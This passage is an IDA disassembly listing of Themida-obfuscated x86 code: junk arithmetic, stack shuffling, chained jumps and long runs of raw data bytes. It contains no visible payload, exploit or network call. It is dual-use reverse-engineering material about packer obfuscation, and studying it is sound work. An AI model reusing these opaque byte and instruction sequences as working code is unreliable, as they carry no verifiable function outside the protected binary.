--------------------------------------------------------------------------- loc_510D55: ; CODE XREF: Themida_:00504BD2j pop ebp push ebp push ecx mov ecx, 61670F7Fh xor ecx, 7B9D482Ah mov ebp, ecx pop ecx neg ebp xor ebp, 0B536B110h xor ebx, ebp jmp loc_50A1D0 ; --------------------------------------------------------------------------- db 8, 0CBh, 0FFh dd 81592434h, 4C4h, 0B3535000h, 8BD888A8h, 0C483241Ch dd 96A9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510D92: ; CODE XREF: Themida_:0050A929j mov edx, 4 mov eax, edx pop edx add [esp+4], eax pop eax jmp loc_50F10E ; --------------------------------------------------------------------------- dd 8324148Bh, 30E904C4h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510DAF: ; CODE XREF: Themida_:00516497j pop dword ptr [esp] jmp loc_510C01 ; --------------------------------------------------------------------------- db 81h dd 2C2h, 25A5E900h, 68050000h, 1755319h, 0C6A0E9D8h, 0FE89FFFFh dd 48F2E9h, 4EC8300h, 1D47E9h db 0 ; --------------------------------------------------------------------------- loc_510DDD: ; CODE XREF: Themida_:00503868j inc ecx xor ecx, 9535C3h sub ecx, 0A1C8E8A0h add ebp, ecx mov ecx, [esp] add esp, 4 mov ecx, ebp mov ebp, [esp] add esp, 4 mov [edi+24h], ecx push dword ptr [esp] jmp loc_503F28 ; --------------------------------------------------------------------------- dd 4EC815Fh, 89000000h, 0BA52240Ch, 13570199h, 495AD189h dd 8105E9C1h, 47E89BF1h, 0E9CF0173h, 0FFFFC1DDh, 4EC81h dd 14890000h, 0E97DB224h, 0FFFF5F0Ah, 4EC835Dh, 52241C89h dd 0F2808DB2h, 2E2C070h, 80B3CA80h, 0EA809FEAh, 0CCEA800Bh dd 0F65AD788h, 0EF780D7h, 0EC81E786h, 4, 88241489h, 0F65266E2h dd 5A662414h, 88D38853h, 865A5BDCh, 7FF780E7h, 5605EFC0h dd 0A3E9E689h, 5500001Ah, 2464B3BDh, 5DE8317Ch, 0FF7837E9h dd 45EC80FFh, 58E328h, 246866C3h, 0C89667Eh, 0DAB524h dd 0E95966EBh, 0FFFF3149h, 2C4A0559h, 0D8010038h, 382C4A2Dh dd 241C8B00h, 4C481h, 72E90000h db 5Ah, 2 dup(0) byte_510ECF db 0FFh ; DATA XREF: Themida_:00502A74o dd 669D1C77h, 2414D359h, 1BEDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510EDE: ; CODE XREF: Themida_:0050D03Fj xor ch, 1Bh or ch, 0EFh xor ch, 2Fh xor bl, ch pop ecx jmp loc_50FFB5 ; --------------------------------------------------------------------------- db 0B8h dd 4, 48BC501h, 4C48324h, 8B242C87h, 0C4E92424h, 0BFFFFF1Bh dd 43706B8Dh, 5085E781h, 0F78106D6h, 51E92DA0h, 6390C781h dd 0D7F72F10h, 0E9D0F797h, 0FFFF3BEEh, 14F7575Bh, 0CF815F24h dd 5A0E7F9Eh, 9A62E952h, 0EB2CFFFFh, 0EC815B66h, 4, 0FF1D0DE9h dd 9AC281FFh, 811BC650h, 52C20EEAh, 0FFD58995h, 0E95A2434h dd 0FFFF5D3Ah, 79CBA2BAh, 5AD03134h, 44E9C729h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510F6F: ; CODE XREF: Themida_:005048B1j add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] xor eax, esi xor esi, eax jmp loc_50F967 ; --------------------------------------------------------------------------- loc_510F81: ; CODE XREF: Themida_:0050C0DFj mov esp, [esp] mov edi, [esp] push 62Ah mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp jmp loc_5157F9 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF82E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_510FB1: ; CODE XREF: Themida_:00508835j add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx jmp loc_50C002 ; --------------------------------------------------------------------------- db 0F7h dd 3C0C2DD0h, 9D052BC8h, 0E9F2B6B7h, 6BC2h, 0E904EC83h dd 0FFFF4192h ; --------------------------------------------------------------------------- loc_510FD8: ; CODE XREF: Themida_:005099E4j ; Themida_:0050FAD8j push 1F89h mov [esp], ebx jmp loc_50777B ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FF2A7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_510FED: ; CODE XREF: Themida_:00517965j push ebx mov ebx, 258D4101h not ebx jmp loc_506325 ; --------------------------------------------------------------------------- aSsn db 'SéN\',0 align 10h aUs db 'Ué$;',0 align 2 loc_511006: ; CODE XREF: Themida_:00509D73j add esp, 4 add edx, 0B34F29F2h push ebx jmp loc_515337 ; --------------------------------------------------------------------------- db 81h, 0C9h, 4Dh dd 811A1E32h, 1F5653C9h, 8AE9812Ah, 0E92B6A00h, 0FFFFA01Ah ; --------------------------------------------------------------------------- loc_51102C: ; CODE XREF: Themida_:00516B8Fj add ebx, 662CDC80h sub edx, 6BDC4642h jmp loc_50340E ; --------------------------------------------------------------------------- db 0BEh, 2, 0 dd 0F2010000h, 8324348Bh, 0F2E904C4h, 0D2000046h, 0E99C2424h dd 0FFFF1A73h, 0E9240C89h, 0FFFF2D10h, 1C8BDD88h, 4C48324h dd 0EF30FD30h, 0DFF6FD30h, 5366FD86h, 0A00EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51107A: ; CODE XREF: Themida_:00508795j mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebx push eax mov al, 0A0h mov bl, 41h add bl, al pop eax push ax push ecx mov cl, 1Dh mov ah, 37h jmp loc_516AB9 ; --------------------------------------------------------------------------- dw 5A54h dd 1820E9h, 0C6E95500h, 81000050h, 317ED6F7h, 0E9FB3170h dd 0FFFF8D69h, 8B241C87h, 4892424h, 2434FF24h, 46A9E9h dd 0E7684000h, 0E9000037h, 0FFFF5BE1h, 1C781h, 3AE90000h dd 29FFFFC0h, 0E28159CAh, 7BF17BEFh, 3376CA81h, 0D2F759F3h dd 395DEA81h, 0FCE90754h, 1FFFFA7h, 241C8BDDh, 4C481h dd 0ED810000h, 15C4566Fh, 8324348Bh, 0BE5604C4h, 4, 555EF501h dd 42474FFh, 0FCCE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_511126: ; CODE XREF: Themida_:00511723j mov [esp], ebp push eax mov eax, esp jmp loc_51445A ; --------------------------------------------------------------------------- db 81h, 0EBh, 0D7h dd 176DA5Dh, 0BF575BD8h, 67BA0D16h, 0FACF814Fh, 4F5F842Bh dd 0FFAF77E9h db 0FFh byte_51114D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502850o dd 1D666824h, 0C890000h, 0E56AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51115E: ; CODE XREF: Themida_:005106EEj push dword ptr [esp] pop ecx add esp, 4 push edx jmp loc_510866 ; --------------------------------------------------------------------------- dw 3C89h dd 81E78924h, 4C7h, 4BB5300h, 1000000h, 247DE9DFh, 66520000h dd 0E96657BAh, 0FFFF6835h ; --------------------------------------------------------------------------- loc_511190: ; CODE XREF: Themida_:005126BBj xchg edx, [esp] pop esp jmp loc_505399 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0F2h dd 0F75BEA7Dh, 0B5F181D1h, 0F7057B20h, 2EA6E9D9h, 0E3BB0000h dd 4B3C0D1Bh, 4B02EBC1h, 0FF1BE3E9h, 0E28952FFh, 4C281h dd 0C2810000h, 2, 5C241487h db 2Ch, 7Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5136F6 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4C381h, 1C870000h, 1A99E924h, 3ABBFFFFh dd 4B06E93Dh, 0EBD1D3F7h, 38E9D3F7h, 83FFFFBFh, 0EDC101EDh dd 0EAF58108h, 4D23760Dh, 190E9h db 0 ; --------------------------------------------------------------------------- loc_511221: ; CODE XREF: Themida_:0051257Aj add ebp, 132D3D55h jmp loc_5124B6 ; --------------------------------------------------------------------------- loc_51122C: ; CODE XREF: Themida_:005153DDj xchg eax, [esp] pop esp jmp loc_516AD6 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 74010000h, 8AE90424h, 8FFFFF52h, 248B2404h, 48B6624h dd 70EF6824h, 0C890000h, 34FF5424h, 0C4815924h, 4, 4C181h dd 52560000h, 15E1E9h db 0 byte_51126D db 0ACh, 2Ch, 3Ch ; DATA XREF: Themida_:005028B8o dd 0D828D404h, 0FF2114E9h, 0BD5559FFh, 68FA793Ah, 2937A7BAh dd 5DEA3175h, 815EF231h, 8F1DF0F2h, 0FFD03114h, 81E92434h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51129B: ; CODE XREF: Themida_:0051697Bj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], eax push edx pop eax mov edx, [esp] add esp, 4 sub eax, 0F3366AE4h and ebx, eax pop eax add ebx, 0FFEBC03Ch jmp loc_51216C ; --------------------------------------------------------------------------- db 83h dd 0E98104C4h, 0C261CD89h, 1BF6E9h, 24148900h, 0A56866B6h dd 89000045h, 53B02404h, 405E0C0h, 34AD3401h, 66DB24E6h dd 28DAB652h, 805A66F0h, 0C68038EEh, 50C600FDh, 0EC80DDB4h dd 5E4C02Ah, 289DC480h, 0C68058E6h, 88515838h, 0A200E9F5h dd 0E981FFFFh, 78D12D1h, 5506E9C1h, 87F72BBDh, 0E9E901FFh dd 0FFFF4C5Eh ; --------------------------------------------------------------------------- loc_51132C: ; CODE XREF: Themida_:00504BA3j mov edi, edx pop edx add ebx, 14A72A2Ah add ebx, edi jmp loc_50FED9 ; --------------------------------------------------------------------------- dd 5C240C87h, 0FF1786E9h, 80F581FFh, 107C439h, 0B9515DE8h dd 442C32E5h, 0FF96C7E9h, 0F8F181FFh, 0E9CAABF5h, 0FFFF1C69h ; --------------------------------------------------------------------------- loc_511364: ; CODE XREF: Themida_:00506916j push eax mov eax, 4 add ecx, eax pop eax sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_505359 ; --------------------------------------------------------------------------- loc_51137F: ; CODE XREF: Themida_:0050A850j mov [esp], edx mov edx, esp push 18D1h mov [esp], ecx jmp loc_516741 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 2 dd 3D01EF81h, 0EF81037Eh, 0AFAC0716h, 0FFAD64E9h, 48F59FFh dd 24248B24h, 0FFBD7EE9h, 64C581FFh, 81DCBF99h, 0E1434CE9h dd 90E98173h, 1070507h, 90C181E9h, 81070507h, 0E1434CC1h dd 0EF685D73h, 89000057h, 0BDE9241Ch, 58FFFFADh, 338EB850h dd 1BE93A28h, 2D000013h, 4, 31240433h, 4332404h, 2C895C24h dd 5B90BD24h, 0ED8151A8h, 24EA0852h, 0FFD897E9h, 240C33FFh dd 0E924248Bh, 1E8Fh, 242C3359h, 0E9242C31h, 0FFFFE80Bh dd 1C281h, 89510000h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 2404895Ch, 9437DDB8h, 8E8C124h, 894F7C35h, 1F61E90Ch dd 1C8B0000h, 6280E924h, 0B8500000h, 0D3C1497h, 3C14952Dh dd 58C3010Dh, 0FFD739E9h, 79E95EFFh, 30FFFF3Eh, 240C8BE8h dd 5E08950h, 4, 0D202E951h, 431FFFFh, 24148B24h, 0FF43FEE9h dd 6A172DFFh, 44E92CA1h, 88FFFF6Fh, 8B5859EAh, 6AE9240Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5114A7: ; CODE XREF: Themida_:0050A30Bj mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_5137E1 ; --------------------------------------------------------------------------- dword_5114B4 dd 9C241CF6h, 0FF180CE9h ; DATA XREF: Themida_:00502970o db 0FFh ; --------------------------------------------------------------------------- loc_5114BD: ; CODE XREF: Themida_:00515AFDj sub ebx, 5EBB607h add esi, ebx pop ebx add ebp, esi pop esi push esi mov esi, 4 sub ebp, 34550A95h sub ebp, esi add ebp, 34550A95h mov esi, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 60455969h push 0B93h jmp loc_505D0F ; --------------------------------------------------------------------------- dd 6857D2F7h, 42E4h, 8B241489h, 0C481243Ch, 4, 0FF2434FFh dd 815A2434h, 4C4h, 0E0895000h, 405h, 8603E900h, 0EA89FFFFh dd 0D1015E5Dh, 4BD555Ah, 81000000h, 5109A8C1h, 81E90120h dd 5109A8E9h, 242C8B20h, 4C481h, 0FF510000h, 59042474h dd 5C24048Fh, 8904EC83h, 5E542434h, 5EEBE9h db 0 ; --------------------------------------------------------------------------- loc_511565: ; CODE XREF: Themida_:00504165j mov esi, 23723A1Fh add ebp, esi pop esi add ebp, eax push ecx mov ecx, 51F625FCh dec ecx not ecx xor ecx, 8D7BE01Bh jmp loc_50567F ; --------------------------------------------------------------------------- db 83h dd 0EE8104C4h, 5C547BAFh, 83243C8Bh, 895304C4h, 1F0E9E3h dd 1C890000h, 5221B324h, 1FE9DE88h, 0B8FFFFF2h, 24E92E38h dd 5258C521h, 0FF878FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5115B5: ; CODE XREF: Themida_:00508329j mov [esp], ebx push esp mov ebx, [esp] jmp loc_50AB0F ; --------------------------------------------------------------------------- aSV db '\éœV',0 db 0 ; --------------------------------------------------------------------------- loc_5115C7: ; CODE XREF: Themida_:005077CFj mov ebx, edx jmp loc_510997 ; --------------------------------------------------------------------------- dw 335Eh dd 0C31240Ch, 240C3324h, 3A5F35Ch, 54553862h, 0BA52565Dh dd 25D5498Bh, 89D18951h, 505A59CEh, 0B863B6B8h, 12982D08h dd 52E94736h db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5115FF: ; CODE XREF: Themida_:005109C5j inc esi xor esi, 1AE1B8C8h mov ebp, esi pop esi or ebp, 7EB94F26h add ebp, 22A36E3Ah shl ebp, 7 sub ebp, 928FA551h add ebp, 69A27EF7h jmp loc_50F3E6 ; --------------------------------------------------------------------------- db 83h, 0C5h, 4 dd 5C242C87h, 1D97E952h, 0C6810000h, 4F1A014Eh, 0C4E9CE01h dd 57000063h, 5B0EA2BFh, 5B7CE940h, 665CFFFFh, 0F6241C89h dd 5B662414h, 51BEF380h, 0F580CEB5h, 59EB003Ch, 0FE7DB252h dd 0A5F280C2h, 0FE03EAC0h, 5D18E9C2h, 5ABB0000h, 214D6B50h dd 2434FFDFh, 83241C8Bh, 0C48104C4h, 4, 1B11BE56h, 0F681686Fh dd 65260E79h, 198AEF81h, 0F7017D0Fh, 198AC781h, 0C15E7D0Fh dd 0BE5603E7h, 3E646A5Bh, 44685346h, 5B494F76h, 5607E3C1h dd 0D309D8BEh, 72EE812Eh, 0C10C070Fh, 0F68102EEh, 710EA0D7h dd 5E9F329h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5116D7: ; CODE XREF: Themida_:0050C8CEj add ebx, 0E6D09224h sub edx, 320A4F23h add edx, ebx sub esp, 4 mov [esp], edi mov edi, 320A4F23h add edx, edi pop edi pop ebx push ebp mov ebp, 4 push ecx mov ecx, 67625414h sub ecx, 32143917h sub ecx, 48602439h dec ecx sub ecx, 8894C621h sub edx, ecx jmp loc_506B62 ; --------------------------------------------------------------------------- loc_51171D: ; CODE XREF: Themida_:0050877Aj pop esp push 51B1h jmp loc_511126 ; --------------------------------------------------------------------------- dd 0F389C689h, 24048B5Eh, 0E904C483h, 0FFFF1393h, 0C768h dd 243C8900h, 4BFh, 0D68FE900h, 0A368FFFFh, 89000032h dd 0ABD242Ch, 0E976E35Dh, 0FFFF916Fh, 2434FF5Ah, 0EC83505Fh dd 24248904h, 4240483h, 0FF5B58E9h, 2C181FFh, 87000000h dd 0F8E9240Ch, 81FFFFB3h, 4C7h, 195FE900h, 0C3810000h dd 4, 4EB81h, 1C870000h, 0EE36E924h, 0C183FFFFh, 4EC181FFh dd 814EB63Bh, 321956F1h, 59CB0161h, 0EB81C301h, 3C5566BDh dd 8124048Bh, 4C4h, 5B5E5300h, 0E91C7709h, 4CE1h ; --------------------------------------------------------------------------- loc_5117CC: ; CODE XREF: Themida_:00506438j sub eax, edi jmp loc_516A32 ; --------------------------------------------------------------------------- db 89h dd 0EDE92414h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5117DB: ; CODE XREF: Themida_:00509113j mov ebp, 29716A28h jmp loc_506F96 ; --------------------------------------------------------------------------- db 0F7h, 0D9h, 0E9h dd 0FFFFD156h, 76BD68h, 241C8900h, 0E38012B3h, 0B35350D2h dd 0DA88529Dh, 5B5AD088h, 0E8C0D0F6h, 2CD0F605h, 34C0FEADh dd 8BC3306Fh, 0C4832404h, 0F6B25204h, 0C007E2C0h, 0CA8004EAh dd 80DAF63Bh, 0D33050EAh, 50DBF65Ah, 28AFE9h db 0 ; --------------------------------------------------------------------------- loc_511835: ; CODE XREF: Themida_:0050BBB1j push 36ED1849h pop ecx jmp loc_505A6C ; --------------------------------------------------------------------------- dd 0E17CA6BFh, 8BF93138h, 0C483243Ch, 4EC8304h, 68242C89h dd 1D43h, 89243489h, 0BB5356FEh, 5F4B020Eh, 4245C31h, 242C8B5Bh dd 3951E952h, 0E95BFFFFh, 0FFFFED62h, 0E924048Fh, 1674h dd 4C481h, 0EF800000h, 0D32CBAh, 0BEE953F8h, 5AFFFF81h dd 81E38953h, 4C3h, 4649E900h, 89560000h, 1ED7E9E6h, 0EC810000h dd 4, 0B8240489h, 2ACE7FECh, 7505E8D1h, 51ABF64h, 0CFD95B99h dd 85E9C301h, 5D000000h, 4B05E3C1h, 0FF9543E9h, 0CFF780FFh dd 2881C780h, 0A612E9F8h, 2489FFFFh, 24048124h, 4, 4C3815Bh dd 56000000h, 4BEh, 5EF32900h, 0E9241C87h, 0FFFFDED3h dword_511904 dd 24048B66h, 613868h, 24348900h, 24348B54h, 4571E9h, 240C8900h ; DATA XREF: Themida_:00502A0Co dd 59EAE956h, 0DBF70000h, 53E9E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51192A: ; CODE XREF: Themida_:00511977j mov ecx, 0A92928Ch add ecx, ebp jmp loc_51266D ; --------------------------------------------------------------------------- loc_511936: ; CODE XREF: Themida_:00517512j mov ebx, esp jmp loc_5053EB ; --------------------------------------------------------------------------- db 2 dup(5Fh), 56h dd 42474FFh, 1E99E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51194A: ; CODE XREF: Themida_:0050D7FEj pop ebx jmp loc_516BDB ; --------------------------------------------------------------------------- aXs0m db 'Xé0M',0 align 2 dw 32BDh dd 2929F40Fh, 525E5DEAh, 0FF33CEE9h, 240C89FFh, 0E800A3B5h dd 58E9E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511972: ; CODE XREF: Themida_:0050EE84j mov ebp, 67CC7077h jmp loc_51192A ; --------------------------------------------------------------------------- dd 19F68146h, 81158555h, 925E56C6h, 66EE814Eh, 2999B791h dd 34FF5EF0h, 0C4815D24h, 4, 0A4C7E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5119A2: ; CODE XREF: Themida_:005123A6j add ebp, 0B3B36B8h jmp loc_50BF0D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 1F4Eh, 68241489h, 2AF0h, 68243C89h, 3B700544h dd 0B2E9515Fh, 81FFFFB4h, 4C6h, 27BB5300h, 4B536225h, 0F701C383h dd 29C381DBh, 0E9536225h, 0FFFFB3F1h, 0E8885066h, 0C588D0F6h dd 0FF2967E9h, 59EB88FFh, 6605E3C0h, 28000068h, 1C8A241Ch dd 2C48324h, 24148653h, 1DE9D2F6h, 0BAFFFF1Fh, 0 dd 131BE9h, 0E1EE8100h, 817D8F1Dh, 209DDBF6h, 6FC58102h dd 5015C456h, 0CF44DCB8h, 58C5290Fh, 0FF84A1E9h, 70E95FFFh db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511A47: ; CODE XREF: Themida_:00509CD2j mov ebp, 0C5E0F3Eh not ebp jmp loc_50476E ; --------------------------------------------------------------------------- loc_511A53: ; CODE XREF: Themida_:00510D05j xchg eax, [esp] jmp loc_51572D ; --------------------------------------------------------------------------- db 66h dd 0C166D1F7h, 9BE906E1h, 500001Dh, 0DA40934Ah, 0E958C289h dd 0FFFFA160h ; --------------------------------------------------------------------------- loc_511A74: ; CODE XREF: Themida_:005135F6j push ebp mov ebp, 52812255h add ebp, 0BF713E5Bh add edx, ebp jmp loc_50F990 ; --------------------------------------------------------------------------- loc_511A87: ; CODE XREF: Themida_:0051460Cj mov ecx, [esp] add esp, 4 not bh mov dl, bh pop ebx push ecx mov ch, 0A3h shl ch, 8 dec ch inc ch xor ch, 0DFh jmp loc_505115 ; --------------------------------------------------------------------------- dd 41E9815Bh, 13E2101h, 41C181E9h, 5D3E2101h, 846CE955h dd 0E700FFFFh, 8BF83058h, 0C481241Ch, 4, 0FF4367E9h, 0E9505BFFh dd 26FCh ; --------------------------------------------------------------------------- loc_511AD4: ; CODE XREF: Themida_:005092ACj mov edi, [esp] add esp, 4 mov ecx, 6BAB5D2Bh sub ecx, edx mov edx, [esp] jmp loc_50D8FD ; --------------------------------------------------------------------------- dd 8104EEC1h, 40D27EEh, 29F68107h, 1087B18h, 24348BF3h dd 81E38953h, 4C3h, 4C38100h, 53000000h, 42474FFh, 24048F5Bh dd 4C3835Ch, 4EC81h, 1C890000h, 2474FF24h, 744E904h, 97BA0000h dd 298357AEh, 0EA815BDAh, 1, 3A70E9h, 40500h, 42D0000h dd 50000000h, 42474FFh, 24048F58h, 0FF43FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_511B59: ; CODE XREF: Themida_:0050DE10j add eax, ebp jmp loc_50C739 ; --------------------------------------------------------------------------- loc_511B60: ; CODE XREF: Themida_:00507139j pop edx jmp loc_510A58 ; --------------------------------------------------------------------------- dw 60E9h dd 89FFFF0Fh, 0CCE9241Ch, 81FFFF8Ah, 0B2479BC3h, 4EC8363h dd 0BE243489h, 24017CEEh, 348BF301h, 4C48324h, 7ACC381h dd 0F6662B3h, 686600B6h, 89661978h, 28E92404h, 0F7FFFF0Fh dd 4ACA87D9h, 0E2C1DAF7h, 0D5EA8104h, 21ACC969h, 24148BD6h dd 4C481h, 0F6810000h, 173D3B56h, 6AC2CE81h, 50536681h dd 0FD194268h, 3035584Fh, 0E9307155h, 0FFFF49B2h, 2474FF53h dd 48F5B04h, 4895C24h, 56E08924h, 4EC81h, 3C890000h, 45CD6824h dd 895F17B4h, 87ABE9FEh, 0EA81FFFFh, 16AF4F9Fh, 1B40C281h dd 93E94D7Fh, 8100001Ch, 0A755ADE9h, 81D1017Ah, 0A755ADC1h dd 5901037Ah, 0E924148Bh, 0FFFFDC0Eh, 0E9243433h, 0FFFF7082h dd 0BB241C89h, 47F6B12h, 0E95BD829h, 0FFFF14D8h, 24F732Dh dd 85643572h, 0E951F4D7h, 2C38h, 28B2ED80h, 0F02859E8h dd 148B0204h, 4C48324h, 0FF6CCBE9h, 0E4D05BFFh, 2DF4E951h dd 51580000h, 107D3CB9h, 17C0E933h, 28050000h, 5541EB31h dd 1BA8BB53h, 99BD1EF6h, 0E9D26B19h, 0FFFF1597h, 4C4835Bh dd 8150CF01h, 4ECh, 240C8900h, 1D214068h, 188FE926h, 86BD0000h dd 0F714084Bh, 2CD81D5h, 816C8270h, 1A2A37C5h, 52C58135h dd 89DAEDE1h, 242C8BE8h, 4C481h, 0C5810000h, 72417217h dd 0FF45E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_511CDD: ; CODE XREF: Themida_:0051658Dj push dword ptr [esp+4] mov ebp, [esp] push 23A6h mov [esp], ebx push esp pop ebx push esi mov esi, 47BC6951h xor esi, 66EC7384h or esi, 31B4F59h jmp loc_51556B ; --------------------------------------------------------------------------- loc_511D05: ; CODE XREF: Themida_:005152DDj shr ebp, 5 inc ebp xor ebp, 508051B6h push esi mov esi, 2A68DE75h xor ebp, esi jmp loc_5126C0 ; --------------------------------------------------------------------------- dd 81243489h, 4ECh, 48F5400h, 4B95124h, 81000000h, 6504246Ch dd 81448E6Fh, 58042444h, 14FC405h, 8104244Ch, 5804246Ch dd 0E94FC405h, 0FFFF4165h ; --------------------------------------------------------------------------- loc_511D50: ; CODE XREF: Themida_:00507F44j shl edi, 1 add edi, 3CD39E85h mov esi, edi pop edi jmp loc_50F713 ; --------------------------------------------------------------------------- dd 0FF0D66E9h, 0E9F189FFh, 0FFFFD391h, 0C330AFB0h, 8BDA8858h dd 0C481241Ch, 4, 801ACA80h, 91E95AF2h, 42FFFF6Eh, 0C281DAF7h dd 0BC7BD5h, 34FFD001h, 0C4815A24h, 4, 0FFB097E9h db 0FFh ; --------------------------------------------------------------------------- loc_511DA1: ; CODE XREF: Themida_:0050C197j sub ecx, ebx jmp loc_512865 ; --------------------------------------------------------------------------- loc_511DA8: ; CODE XREF: Themida_:0050876Fj xchg ebp, [esp] jmp loc_503DE5 ; --------------------------------------------------------------------------- loc_511DB0: ; CODE XREF: Themida_:0050548Ej mov [esp], ecx push 48B5696Ah mov ecx, [esp] add esp, 4 shl ecx, 6 add ecx, 4E2D18A9h sub ecx, 7B5C7F33h shr ecx, 4 push edx mov edx, 0FFFD50C5h add ecx, edx jmp loc_50C71F ; --------------------------------------------------------------------------- db 53h, 0BBh, 56h dd 81526A2Ch, 0C42C6CE3h, 0ACEB8108h, 0F77F9A1Ah, 0D54FE9DBh dd 4E04FFFFh, 241C8B66h, 0E902C483h, 0FFFFF9E8h, 0BE56EB01h dd 791718Eh, 3C23CE81h, 0EE8102B5h, 9D1123B5h, 0FAE9F301h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_511E1F: ; CODE XREF: Themida_:00512E35j mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 3B9C3C80h sub ecx, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_517E45 ; --------------------------------------------------------------------------- db 49h, 41h, 81h dd 0F1529FE9h, 24C7812Ch, 12F2D01h, 1423E9CFh, 685CFFFFh dd 5F39h, 440768h, 24248900h, 4240481h, 8F000000h, 4832404h dd 48F0424h, 5B6FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511E8E: ; CODE XREF: Themida_:0050DE42j add eax, ecx pop ecx xchg eax, [esp] jmp loc_5160EC ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 8 dd 8104EEC1h, 0EC6288C6h, 0B5DCE935h, 0BA52FFFFh, 77F90104h dd 3951E9h, 0E8E95B00h db 1Eh, 2 dup(0FFh) byte_511EBB db 66h ; DATA XREF: Themida_:00502918o dd 0E924248Bh, 0FFFF0C07h, 9D72E0B9h, 531BE92Fh, 0CB890000h dd 245C0159h, 2434FF04h, 0E089505Bh, 635BBE56h, 0C681585Fh dd 62DA0D6Ch, 70C3F681h, 0F001BB39h, 4B9515Eh, 0E9000000h dd 0FFFF541Fh, 31243433h, 34332434h, 24248B24h, 0FF0BBEE9h dd 2EEA81FFh, 4234C13Dh, 7E7168h, 1F3AE900h, 0E955FFFFh dd 0FFFF7F4Bh, 0BD242C89h, 0DB0215Eh, 0DEA3C581h, 0EF29F24Fh dd 0ECEF815Dh, 17FE5BFh, 14875FFAh, 4FE5C24h, 80E99C24h dd 89FFFF0Bh, 41B5240Ch, 0DDF6C5FEh, 0E901ED80h, 0FFFF2183h ; --------------------------------------------------------------------------- loc_511F5C: ; CODE XREF: Themida_:0050EA6Fj push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 jmp loc_5139F4 ; --------------------------------------------------------------------------- loc_511F6E: ; CODE XREF: Themida_:00515D53j sub bl, ah sub bl, 9Ah jmp loc_502F18 ; --------------------------------------------------------------------------- loc_511F78: ; CODE XREF: Themida_:00512D28j add esp, 4 push edi mov edi, 4 add edx, 38F31491h jmp loc_50AF03 ; --------------------------------------------------------------------------- loc_511F8C: ; CODE XREF: Themida_:00506457j mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_5164CC ; --------------------------------------------------------------------------- dw 0F757h dd 0C15F241Ch, 0EF8104EFh, 0E7DF875h, 57276850h, 485808A4h dd 0BAFBE56h, 0F001568Bh, 59DBE95Eh, 51660000h, 0AFDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511FCE: ; CODE XREF: Themida_:005133DCj mov edi, esp add edi, 4 sub edi, 4 jmp loc_5046C8 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 8924248Bh, 0DCE9240Ch, 0FFFFFF0Ah, 835E2434h, 61E904C4h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511FFB: ; CODE XREF: Themida_:0050B98Ej sub esp, 4 mov [esp], edx mov edx, 41B31002h sub edx, 3E5C2754h xor edx, 410B73EBh sub edx, 3F2600A9h sub edx, 0A5EE6636h add ecx, edx pop edx add ecx, ebx jmp loc_5074B8 ; --------------------------------------------------------------------------- byte_51202B db 0FFh ; DATA XREF: Themida_:00502830o dd 148B2434h, 2C76E924h, 0C89FFFFh, 0CF0E924h, 0E901FFFFh dd 209EE981h, 0C1810D6Ch, 1BD74B95h, 5D2434FFh, 5E08950h dd 4, 26DE9h, 5BDF3100h, 56FFC783h, 7697B951h, 0D1F73DFCh dd 7AE6F181h, 0E98168B8h, 667E1B66h, 0C1814149h, 38645DB9h dd 8159CE89h, 0C71F4ACEh, 5246465Ah, 994099BAh, 